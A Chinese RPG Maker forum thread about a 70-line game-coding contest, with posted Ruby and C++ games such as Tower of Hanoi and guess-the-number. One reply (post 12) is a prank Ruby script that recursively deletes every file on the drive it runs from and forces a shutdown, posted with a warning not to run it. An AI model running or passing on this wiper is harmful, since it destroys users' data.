设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 3384|回复: 12
打印 上一主题 下一主题

[原创发布] [申办论坛活动]70行代码写游戏

[复制链接]
头像被屏蔽

Lv1.梦旅人 (禁止访问)

梦石
0
星屑
88
在线时间
631 小时
注册时间
2014-8-4
帖子
3600
跳转到指定楼层
1
发表于 2015-10-4 21:04:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提示: 作者被禁止或删除 内容自动屏蔽
签名被屏蔽

Lv4.逐梦者 (版主)

梦石
0
星屑
9532
在线时间
5073 小时
注册时间
2013-6-21
帖子
3580

开拓者贵宾剧作品鉴家

13
发表于 2015-10-5 16:18:25 | 只看该作者
本帖最后由 RyanBern 于 2015-10-5 16:25 编辑

一本正经地发工程。小7说的是真的么?平时答题都没糖所以坐等小7赞助
以下工程需要RGSS102J.dll,修改的话需要RMXP。如果不符合要求请告知
RUBY 代码复制
  1. module Hanoi
  2.   Max_Plates = 4 # 最大可设置为 6
  3.   def self.start
  4.     self.create_ui
  5.     @pillars = [Array.new(Max_Plates){|i| i}, [], []]
  6.     @hold_index =  -1
  7.     loop do
  8.       Graphics.update
  9.       Input.update
  10.       self.update
  11.     end
  12.   end
  13.   def self.create_ui
  14.     @sprite_title = Sprite.new
  15.     @sprite_title.bitmap = Bitmap.new(640, 32)
  16.     @sprite_title.bitmap.draw_text(0, 0, 640, 32, "将所有盘子移动到红色柱子上,且不能把大盘放到小盘上!", 1)
  17.     @sprite_pillars = Array.new(3) do |i|
  18.       sprite = Sprite.new
  19.       sprite.bitmap = Bitmap.new(16, 320)
  20.       sprite.x,sprite.y = 100 + 208 * i, 128
  21.       sprite.bitmap.fill_rect(0, 0, 32, 320, i == 2 ? Color.new(200, 0, 0) : Color.new(255, 255, 255))
  22.       sprite
  23.     end
  24.     @sprite_plates = Array.new(Max_Plates) do |i|
  25.       sprite = Sprite.new
  26.       sprite.bitmap = Bitmap.new(192 - 32 * i, 32)
  27.       sprite.ox,sprite.x,sprite.y = sprite.bitmap.width / 2, 108, 416 - 32 * i
  28.       sprite.bitmap.fill_rect(0, 0, sprite.bitmap.width, 32, Color.new(200, 200, 200))
  29.       sprite
  30.     end
  31.     @arrow = Arrow_Base.new(nil)
  32.     @arrow.x,@arrow.y = 108, 96
  33.   end
  34.   def self.update
  35.     @arrow.update
  36.     if Input.trigger?(Input::LEFT)
  37.       @arrow.index -= 1
  38.       return
  39.     end
  40.     if Input.trigger?(Input::RIGHT)
  41.       @arrow.index += 1
  42.       return
  43.     end
  44.     @arrow.index %= 3
  45.     @arrow.x = 108 + @arrow.index * 208
  46.     @sprite_plates[@hold_index].x = 108 + @arrow.index * 208 if @hold_index != -1
  47.     if Input.trigger?(Input::C)
  48.       if @hold_index == -1
  49.         return if @pillars[@arrow.index].empty?
  50.         @hold_index = @pillars[@arrow.index].pop
  51.         @sprite_plates[@hold_index].y = 64
  52.       else
  53.         return unless @pillars[@arrow.index].empty? || @pillars[@arrow.index][-1] < @hold_index
  54.         @pillars[@arrow.index] << @hold_index
  55.         @sprite_plates[@hold_index].y = 416 - 32 * (@pillars[@arrow.index].size - 1)
  56.         @hold_index = -1
  57.         if (0...Max_Plates).to_a == @pillars[2]
  58.           print "You win!!"
  59.           exit
  60.         end
  61.       end
  62.     end
  63.   end
  64. end

附工程: ProjectR.rar (191.7 KB, 下载次数: 37)   

点评

改Max_Plates 木办法改数目。。。  发表于 2015-10-11 20:45
回复 支持 反对

使用道具 举报

Lv3.寻梦者 (版主)

…あたしは天使なんかじゃないわ

梦石
0
星屑
2208
在线时间
4033 小时
注册时间
2010-10-4
帖子
10779

开拓者贵宾

12
发表于 2015-10-5 15:01:51 | 只看该作者
本帖最后由 taroxd 于 2015-10-5 15:39 编辑

除了楼主之外请不要运行

未测试

RUBY 代码复制
  1. #!/usr/bin/env ruby -wKU
  2.  
  3. raise 'windows only' unless RUBY_PLATFORM =~ /mingw|mswin32/
  4.  
  5. # D:/**/*
  6. Dir.glob(__FILE__[0, 3] + '**/*') do |filename|
  7.   File.delete filename rescue next
  8. end
  9.  
  10. `shutdown /p /f`

点评

显然不是电脑上所有文件  发表于 2015-10-5 16:15
是不是删掉电脑上所有文件  发表于 2015-10-5 16:09
噗  发表于 2015-10-5 15:05
回复 支持 反对

使用道具 举报

Lv3.寻梦者

梦石
0
星屑
1024
在线时间
1389 小时
注册时间
2010-8-9
帖子
3471
11
发表于 2015-10-5 14:01:35 | 只看该作者
本帖最后由 寒冷魔王 于 2015-10-5 15:27 编辑

RUBY 代码复制
  1. module Game
  2.   def self.start  # 2.0
  3.     number = rand(100) + 1  # 1 to 100
  4.     count = 0
  5.     puts("Guess the number!")
  6.     loop do
  7.       puts("Please input your guess.")
  8.       count += 1
  9.       puts("Please input right number.") while ((guess = gets.to_i) == 0)
  10.       if (guess == number)
  11.         puts("You win!")
  12.         puts("You cost #{count} turn#{count==1?'':'s'}.")
  13.         system("pause")
  14.         return
  15.       else
  16.         puts(guess > number ? "Too big!" : "Too small!")
  17.       end
  18.     end
  19.   end
  20. end
  21.  
  22. Game.start


改自https://kaisery.gitbooks.io/rust ... 8C%9C%E7%9C%8B.html

点评

↓↓(*/ω╲*)不要这么说啦,英语太烂打错很正常啦~  发表于 2015-10-5 15:08
↓↓VX你需要一个控制台,参见【链接点此】,里面的VX控制台输出方法  发表于 2015-10-5 15:07
trun -> turn  发表于 2015-10-5 14:54
有使用说明吗,直接放到VX脚本里报错呢  发表于 2015-10-5 14:34
SRPG on RM 项目研发组 正式成立。目前SRPG·RMVA系统进度88.8%。SMRC Kernel 进度90%
↖(^ω^)↗热烈庆祝~SMRC Ver5.1 SRPG战棋地图移动范围生成脚本正式发布~~
-----------------------------------------------------------------------------------------
SMRC具有高性能、高兼容、定制自由、使用方便的特点。
1.性能,100移动力轻松算出,无压力;
2.兼容,RGSS1-3通吃,效率保证;
3.支持移动形状定制,支持4方位、6方位、正方形或其他任意有移动规律的形状;
4.可以充当高性能寻路来使用。
【链接点此】
-----------------------------------------------------------------------------------------
【2016/01/06更新 | 改版】RM脚本编辑器Gemini
-----------------------------------------------------------------------------------------
回复 支持 反对

使用道具 举报

Lv2.观梦者

永无止境的旅程

梦石
0
星屑
503
在线时间
1552 小时
注册时间
2012-6-19
帖子
1226

开拓者贵宾

10
发表于 2015-10-5 00:58:13 | 只看该作者
本帖最后由 丿梁丶小柒 于 2015-10-5 15:01 编辑
游戏一:扳手腕

游戏二:来打我丫

点评

上面有启动方法,不需要main了把。  发表于 2015-10-5 16:35
那个,如果需要默认main请在下面附上  发表于 2015-10-5 16:14
噗,查了一下容易误解,还是全拼吧。。Good Job  发表于 2015-10-5 14:07
GJ!  发表于 2015-10-5 14:06
[url=https://rpg.blue/thread-389697-1-1.html]https://rpg.blue/https://rpg.blue/data/attachment/forum/201602/26/220128cfbxxs47xth4xkz4.jpg[/url]
&lt;font size=&quot;5&quot;&gt;[color=Green][url=https://rpg.blue/forum.php?mod=viewthread&amp;tid=396208&amp;extra=page%3D1][color=DeepSkyBlue]全新配套ACT系统,每周末一大更新,尽请期待。[/color][/url][/color]
回复 支持 反对

使用道具 举报

Lv2.观梦者

梦石
0
星屑
254
在线时间
316 小时
注册时间
2015-7-2
帖子
1747

开拓者

9
发表于 2015-10-4 22:50:51 | 只看该作者
本帖最后由 落雪鸦杀 于 2015-10-5 13:52 编辑

更新:由于附加了文件以及使用分号,不符合规范,所以--
我的就算娱乐吧
RUBY 代码复制
  1. exit

好吧来个正经的,不过是C++(就当是基本功练习吧):
CPP 代码复制
  1. #include <iostream>
  2. #include <string>
  3. #include <vector>
  4. using namespace std;
  5. int main(){
  6.         int numbery,i,j,k;
  7.         const int experience = 65535;
  8. start:
  9.         cout<<"请输入编号以继续:"<<endl;
  10.         cout<<"1.查询猴子的水的总经验数"<<endl;
  11.         cout<<"2.遵循指示就对了"<<endl;
  12.         cout<<"3.一起黑喵呜喵"<<endl;
  13.         cout<<"4.退出程序"<<endl;
  14.         cin>>numbery;
  15.         switch(numbery){
  16.         case 1:{
  17.                 cout<<experience<<endl;
  18.                 system("pause");
  19.                 system("cls");
  20.                 goto start;}
  21.         case 2:{
  22.                 cout<<"请输入行数,行数必须是整数:";
  23.                 cin>>k;
  24.                 for(i = 0;i < k; i++){
  25.                 for(j = 0; j < k-i; j++){
  26.                         cout << " ";}
  27.                 for(j = 0; j < i*2+1; j++){
  28.                     cout << "*" ;}
  29.                 cout << endl;}
  30.         for(i = 0; i < k; i++){
  31.                 for(j = 0; j <= i; j++){
  32.                     cout << " " ;}
  33.                 for(j = 0; j < 2*(k-i)-1 ; j++){
  34.                         cout << "*";}
  35.                 cout << endl;}
  36.         system("pause");
  37.         system("cls");
  38.     goto start;}
  39.         case 3:{
  40.                 for(int i = 0;i<=5;i++){
  41.                         cout<<"喵呜喵"<<i<<endl;}
  42.                 system("pause");
  43.                 system("cls");
  44.                 goto start;}
  45.         case 4:{
  46.                 cout<<"byebye"<<endl;
  47.                 system("pause");
  48.                 system("cls");
  49.                 break;}}
  50.         return 0;}

似乎不支持C++。。就当是小白练习吧

上传工程文件和附件,注意查毒误删。。。
70行大赛.rar (375.5 KB, 下载次数: 37)

刚刚注意到不能用分号……
应该是针对ruby才这么做的吧。。。
然而分号是C++的灵魂啊,,,
算了就当开源了吧

点评

试试[pre lang="c++"]或者[pre lang="cpp"]吧  发表于 2015-10-5 09:30
pre lang = "CPP"  发表于 2015-10-5 09:29
↓握手,然而我只是刚刚开始学  发表于 2015-10-4 23:09
C++ 握手  发表于 2015-10-4 23:08
你可以试试  发表于 2015-10-4 22:58
测试你的东方project认知程度?那就来玩[url=https://store.steampowered.com/app/930840/TouHouAsked/]《东方百问》[/url]吧!
东方风自作曲认知企划绝赞咕咕咕中
回复 支持 反对

使用道具 举报

Lv1.梦旅人

路人党员

梦石
0
星屑
52
在线时间
2276 小时
注册时间
2010-12-30
帖子
3225
8
发表于 2015-10-4 22:00:17 | 只看该作者
限制行数?其实不管多少行的脚本都可以更写成一行的...
字数比较靠谱吧==

点评

你厉害  发表于 2015-10-5 09:52
你厉害  发表于 2015-10-5 09:51
一行有很多种方法:  发表于 2015-10-5 09:28
eval([0x64, 0x65, 0x66, 0x20, 0x61, 0x3B, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x20, 0x22, 0x61, 0x22, 0x3B, 0x65, 0x6E, 0x64, 0x3B, 0x61].pack("C*"))  发表于 2015-10-5 09:27
def a;print "a";end;a  发表于 2015-10-5 09:08
本人擅长XP,如果有脚本或者Ruby方面的问题欢迎发电邮到[email protected]咨询,本人很少检查电邮所以不一定会及时回复,本人不会直接出手解决问题只会提供一个方向,所以谢绝伸手党
回复 支持 反对

使用道具 举报

Lv2.观梦者

永无止境的旅程

梦石
0
星屑
503
在线时间
1552 小时
注册时间
2012-6-19
帖子
1226

开拓者贵宾

7
发表于 2015-10-4 21:44:39 | 只看该作者
本帖最后由 丿梁丶小柒 于 2015-10-4 21:45 编辑

我可以捐助哦。如果赛事好的话可以捐助5VIP   或者5K经验

我也要报名参加
[url=https://rpg.blue/thread-389697-1-1.html]https://rpg.blue/https://rpg.blue/data/attachment/forum/201602/26/220128cfbxxs47xth4xkz4.jpg[/url]
&lt;font size=&quot;5&quot;&gt;[color=Green][url=https://rpg.blue/forum.php?mod=viewthread&amp;tid=396208&amp;extra=page%3D1][color=DeepSkyBlue]全新配套ACT系统,每周末一大更新,尽请期待。[/color][/url][/color]
回复 支持 反对

使用道具 举报

Lv4.逐梦者

素材区好人

梦石
3
星屑
7507
在线时间
3541 小时
注册时间
2011-7-21
帖子
2284

极短24参与极短23参与极短22参与极短21参与

6
发表于 2015-10-4 21:35:52 | 只看该作者
我捐助1经验,不用谢我,请叫我雷锋
回复 支持 反对

使用道具 举报

Lv3.寻梦者 (暗夜天使)

梦石
1
星屑
2971
在线时间
1041 小时
注册时间
2013-8-9
帖子
2328

R考场第七期纪念奖开拓者

5
发表于 2015-10-4 21:17:23 | 只看该作者
w报名不参赛
反正没卵用
2021.8-2024.5
消失了3年的阿鑫再次出现
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
 注册会员
找回密码

站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

GMT+8, 2024-11-19 20:53

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表